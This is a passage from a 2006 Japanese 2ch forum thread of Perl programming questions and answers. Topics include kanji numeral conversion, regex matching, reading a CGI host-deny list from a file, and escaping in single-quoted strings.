2006/09/08(金) 09:26:55> 漢数字を半角数字に変換(一→1)、及びその逆(1→一)と、
> 半角数字を全角数字に変換(1→1)、及びその逆(1→1)がしたいのですが、
> 何かいい方法はありませんか?
今ならこう書くだろう。
$ perl -MLingua::JA::Numbers -Mutf8 -e 'print ja2num(q{一二三四五})'
12345
http://search.cpan.org/perldoc?Lingua::JA::Numbers
0971デフォルトの名無しさん
2006/09/08(金) 09:56:07ダウンロードしてみたけど、すごいなCPAN。感心した
0972デフォルトの名無しさん
2006/09/08(金) 12:40:470973デフォルトの名無しさん
2006/09/08(金) 16:14:240974デフォルトの名無しさん
2006/09/08(金) 20:51:59Acme::Oppai
から。
0975デフォルトの名無しさん
2006/09/08(金) 20:57:330976Mr.Oppai
2006/09/08(金) 21:24:060977デフォルトの名無しさん
2006/09/09(土) 00:28:390978デフォルトの名無しさん
2006/09/09(土) 06:39:340979デフォルトの名無しさん
2006/09/09(土) 17:02:480980デフォルトの名無しさん
2006/09/09(土) 18:32:040981デフォルトの名無しさん
2006/09/09(土) 22:51:34気付いたら819になってたもんな。
0982デフォルトの名無しさん
2006/09/10(日) 01:05:50>>967
コードを書いた本人と連絡がつき、解決いたしました。
ありがとうございました。
s/(?([A-Z])([A-Z]))?/1/
としたかったそうです。
0983デフォルトの名無しさん
2006/09/10(日) 03:22:560984デフォルトの名無しさん
2006/09/10(日) 04:23:150985デフォルトの名無しさん
2006/09/10(日) 12:58:250986デフォルトの名無しさん
2006/09/10(日) 13:00:47# 日本語入ってる
}
0988デフォルトの名無しさん
2006/09/10(日) 13:34:23改行とかタブ入る可能性あるなら
$hoge =~ /[^¥x00-¥x7E]/;
こっちの方が良い。
0989デフォルトの名無しさん
2006/09/10(日) 13:36:45具体的には,外部に拒否IPリストを作り,それを最初に読み込ませて色々なCGIで使おうと考えています。
元はこういう感じで,これならば,きちんと動作します。
# アクセス制限(ホスト名、IPアドレスを記述)
@deny = (
"*.anonymizer.com",
"cache*.*.interlog.com",
""
);
そこを,
$denyIP = './denyIP.dat';
open(IN,"$denyIP") || &error("Open Error : $denyIP");
@deny = <IN>;
close(IN);
【denyIP.datの中身】
"*.anonymizer.com",
"cache*.*.interlog.com",
""
このように外部から読み込もうとしているのですが,動作してくれません。
外部から読み込んだデータについては,まだ何か設定などあるのでしょうか?
0990デフォルトの名無しさん
2006/09/10(日) 13:43:59まず、denyIP.dat の内容が間違ってる。
*.anonymizer.com
cache*.*.interlog.com
こんな感じでそのまま書く。
このファイルを @deny = <IN>; で読むと
各行の末尾に改行文字が付いたままになるので
それをちゃんと chomp で除去する。
0991989
2006/09/10(日) 14:04:41確かに@denyの内容が上のソースと下のソースでは違いました。
てっきりそのまま格納されると思っていました。
きちんと両方とも確かめておくべきでした。
アドバイスありがとうございました。
0992デフォルトの名無しさん
2006/09/10(日) 14:53:21aaa
bbb
ccc
に一致する部分を表示する場合、下記の様にするとうまくいきません。
/aaa\nbbb\nccc/m も試してみましたがだめでした。
while(<FH>){
if(/aaa\nbbb\nccc/){
print;
}
}
<FH>で1行ずつ読み込んでるのでこの処理はむりなのでしょうか?
ご教授お願いします。
0993デフォルトの名無しさん
2006/09/10(日) 15:01:42> <FH>で1行ずつ読み込んでるのでこの処理はむりなのでしょうか?
そう。
0994デフォルトの名無しさん
2006/09/10(日) 15:39:470995デフォルトの名無しさん
2006/09/10(日) 15:47:32-----------------------------------------------
$ cat print.pl
print '\\\\';
-----------------------------------------------
上記のたった一行のスクリプトを実行すると、
$ perl print.pl
\\
となってしまう。
独習perlには「シングルクォート間にある文字列はエスケープシーケンスを無視する」
と書いてあるのに、なんでこんな結果になるんだろう。
FreeBSD6.1、Cygwin環境下両方で試したけど同じ。
0996デフォルトの名無しさん
2006/09/10(日) 15:55:24シングルクォートの間に置かれたすべての文字(ただしシングルクォートと逆スラッシュは除く)が、
そのまま文字列の内容になります。
って書いてあるよ。
0997デフォルトの名無しさん
2006/09/10(日) 15:56:07\\ -> \
\' -> '
他の文字 -> そのまま
0998デフォルトの名無しさん
2006/09/10(日) 16:53:57Perlについての質問箱 27箱目
http://pc8.2ch.net/test/read.cgi/tech/1157874614/
0999デフォルトの名無しさん
2006/09/10(日) 16:55:341000デフォルトの名無しさん
2006/09/10(日) 16:56:5210011001
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。